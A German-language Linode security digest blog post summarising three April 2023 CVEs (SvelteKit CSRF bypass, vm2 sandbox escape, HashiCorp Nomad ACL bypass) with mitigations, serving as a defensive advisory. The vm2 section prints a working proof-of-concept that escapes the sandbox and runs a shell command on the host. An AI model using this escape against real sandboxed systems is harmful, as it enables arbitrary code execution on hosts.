Zum Inhalt springen
BlogSicherheitLinode Security Digest April 10-April 17, 2023

Linode Security Digest April 10-April 17, 2023

Linode Security Digest

In der Zusammenfassung dieser Woche geht es um folgende Themen:

  • Eine CSRF-Schutzumgehung in SvelteKit;
  • Eine Sandbox-Flucht in der Version vm2; und 
  • Eine unauthentifizierte ACL-Autorisierungsumgehung für HashiCorp Nomad und Nomad Enterprise, die zu einer Privilegieneskalation führt.
CVE-2023-29003: SvelteKit: Umgehung des CSRF-Schutzes mit Content-Type Header

Hintergrund

SvelteKit ist ein Framework zur Erstellung von Webanwendungen mit der Svelte JavaScript-Bibliothek. Es bietet eine optimierte Entwicklungserfahrung, indem es Funktionen wie serverseitiges Rendering, Routing und dateibasiertes Seitenrouting von Haus aus beinhaltet.

Schwachstelle

Die Sicherheitslücke, CVE-2023-29003, betrifft SvelteKit-Versionen unter 1.15.1, da der Schutz vor Cross-Site Request Forgery (CSRF) unzureichend ist. Vor SvelteKit 1.15.1 wurde der CSRF-Schutz ausgeführt, wenn drei Bedingungen erfüllt waren: (1) die Anfrage war ein POST, (2) es gab eine Diskrepanz zwischen dem Site-Ursprung und dem Origin-HTTP-Header der Anfrage, und (3) die Anfrage enthielt Formularinhalte, die durch einen Content-Type-Header von entweder "application/x-www-form-urlencoded" oder "multipart/form-data" angezeigt wurden. 

Wenn alle diese Bedingungen erfüllt sind, würde eine 403 Forbidden-Antwort auf die Anfrage gesendet werden. Diese Prüfung kann umgangen werden, indem ein anderer Content-Type in der Anfrage verwendet wird, z. B. "text/plain".

Milderung

  • Die Sicherheitslücke wurde in SvelteKit Version 1.15.1 behoben. Ein Upgrade auf die neueste Version ist der empfohlene Weg, um dieses Problem zu beheben.
CVE-2023-29199: vm2: Sandbox Escape in Quellcode-Transformer

Hintergrund

vm2 ist ein Modul von Node.js , das eine Sandbox-Umgebung für die sichere Ausführung von nicht vertrauenswürdigem Code bietet. Es ermöglicht die Erstellung von isolierten Ausführungskontexten, in denen Angreifer nicht vertrauenswürdigen Code ausführen können, ohne auf den globalen Kontext oder sensible Daten zugreifen zu können.

Schwachstelle

Die Schwachstelle beruht auf einer Ausnahme in der Sanierungslogik des Quellcode-Transformators von vm2. Diese Schwachstelle erlaubt es einem Angreifer, die handleException()-Funktion zu umgehen und nicht bereinigte Host-Ausnahmen auszuspähen, was einem Angreifer die Möglichkeit gibt, die Sandbox zu umgehen und beliebigen Code im Host-Kontext auszuführen.

Der GitHub-Benutzer leesh3288 hat ein Proof-of-Concept zur Ausnutzung dieser Schwachstelle erstellt, das zeigt, wie einfach Code im Host-Kontext ausgeführt werden kann:

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname
        .constructor
        .constructor('return process')()
        .mainModule.require('child_process')
        .execSync('touch pwned');
}
`

console.log(vm.run(code));

Milderung

  • Die Sicherheitslücke wurde in vm2 Version 3.9.16 behoben. Ein Upgrade auf die neueste Version ist der empfohlene Weg, um dieses Problem zu beheben.
CVE-2023-1782: HashiCorp Nomad: Unauthentifizierte ACL-Umgehung Privilegieneskalation

Hintergrund

HashiCorp Nomad ist eine Container-Orchestrierungsplattform, mit der Benutzer Anwendungen in verschiedenen Umgebungen, einschließlich Rechenzentren, Cloud und Edge-Standorten, einfach bereitstellen und verwalten können. Sie bietet Funktionen wie automatische Bereitstellung, Skalierung und Selbstheilung sowie Unterstützung für mehrere Container-Laufzeiten und Planungsalgorithmen.

Schwachstelle

Es gibt nicht viele Einzelheiten zu dieser Sicherheitslücke. Dem Bericht des Forschers zufolge können jedoch nicht authentifizierte HTTP-Anfragen die vorgesehenen ACL-Autorisierungen umgehen, wenn eine Anfrage auf dem Server über interne RPCs verarbeitet wird. Diese Sicherheitslücke betrifft HashiCorp Nomad und HashiCorp Nomad Enterprise in den Versionen 1.5.0 bis 1.5.2.

Milderung

  • Diese Schwachstelle kann durch die Aktivierung von mTLS auf ihrem Host-Cluster behoben werden.
  • Diese Sicherheitslücke wurde in HashiCorp Nomad Version 1.5.3 behoben. Ein Upgrade auf die neueste Version ist der empfohlene Weg, um dieses Problem zu beheben. 

Kommentare

Kommentar abgeben

Ihre E-Mail Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit *gekennzeichnet